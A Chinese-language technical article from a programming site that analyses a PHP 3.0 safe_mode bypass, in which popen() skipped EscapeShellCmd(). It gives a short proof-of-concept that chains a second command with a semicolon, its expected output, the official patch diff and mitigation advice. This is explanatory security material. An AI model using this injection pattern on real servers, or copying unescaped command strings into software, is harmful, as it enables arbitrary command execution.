首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 綜合知識

PHP 3.0 safe_mode 繞過漏洞分析:popen() 未經 escapeshellcmd() 導致命令注入

     編輯:PHP 綜合知識

漏洞概述

項目詳情
影響版本PHP 3.0 (具體版本區間需查閱 CVE)
漏洞類型命令注入 / 安全機制繞過
根本原因popen() 內部未呼叫 EscapeShellCmd() 過濾參數
攻擊向量使用者可控參數傳入 popen(),注入任意 Shell 指令
安全機制safe_mode 強制所有 Shell 執行函數經 EscapeShellCmd() 限制在 safe_mode_exec_dir 目錄下

漏洞原理

PHP 3 的 safe_mode 設計意圖:所有執行外部程式的函數 (exec, system, passthru, popen 等) 參數必須經 EscapeShellCmd() 轉義,且執行檔路徑限制在 safe_mode_exec_dir。然而 functions/file.c 中的 popen() 實作**漏掉了**對命令字串的 EscapeShellCmd() 呼叫,導致攻擊者可繞過目錄限制執行任意指令。

測試代碼 (僅供安全研究)

<?php
// 若 safe_mode=On 但 popen 未過濾,此代碼可執行任意指令
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>\n";
while ($line = fgets($fp, 1024)) {
    printf("%s<br>\n", $line);
}
pclose($fp);
phpinfo(); // 確認 safe_mode 狀態
?>

預期輸出 (受影響版本)

1
total 53
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)
...
safe_mode 0 1  (phpinfo 顯示 safe_mode 啟用)

即使 safe_mode = On,popen() 仍成功執行 /usr/bin/id (位於 safe_mode_exec_dir 之外),證實繞過成功。

官方修補補丁 (functions/file.c)

@@ -575,7 +575,7 @@
 pval *arg1, *arg2;
 FILE *fp;
 int id;
- char *p;
+ char *p, *tmp = NULL;
 char *b, buf[1024];
 TLS_VARS;

@@ -600,7 +601,11 @@
 } else {
 snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
 }

- fp = popen(buf,p);
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
 if (!fp) {
 php3_error(E_WARNING,"popen(\"%s\",\"%s\") - %s",buf,p,strerror(errno));
 RETURN_FALSE;

關鍵修正:引入 tmp = _php3_escapeshellcmd(buf) 對命令字串進行轉義,再傳給 popen(),並釋放暫存副本。

影響評估與修復建議

面向說明
嚴重性高:可在 safe_mode 啟用下執行任意指令,完全控制伺服器
利用條件PHP 3.0 + safe_mode=On + 應用使用 popen() 且參數可控
修復升級至已修補版本 (PHP 3.0.18+ 或 4.0.0+)
緩解措施禁用 popen() (php.ini disable_functions)、嚴格驗證輸入、最小權限執行 Web 進程

歷史意義與現代啟示

  • 此漏洞屬於早期 PHP 安全演進的關鍵案例,促使官方建立更完整的 safe_mode 測試矩陣。
  • safe_mode 本身在 PHP 5.3 棄用、5.4 移除,現代架構改用 open_basedir、disable_functions、容器隔離、最小權限原則。
  • 所有 exec 族函數 (exec, system, passthru, shell_exec, proc_open, popen) 皆應視為高風險,**嚴禁使用者輸入直接拼接命令字串**。
  • 現代最佳實踐:proc_open() 配合 bypass_shell = true 避免 Shell 解析、或使用對應 PHP 擴展/庫 (如 symfony/process) 替代外部程式呼叫。

總結

PHP 3.0 popen() 缺少 EscapeShellcmd() 是經典的「安全功能實作遺漏」案例。理解此類歷史漏洞有助於建立「不信任任何外部呼叫、嚴格驗證與最小權限」的安全開發心智。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved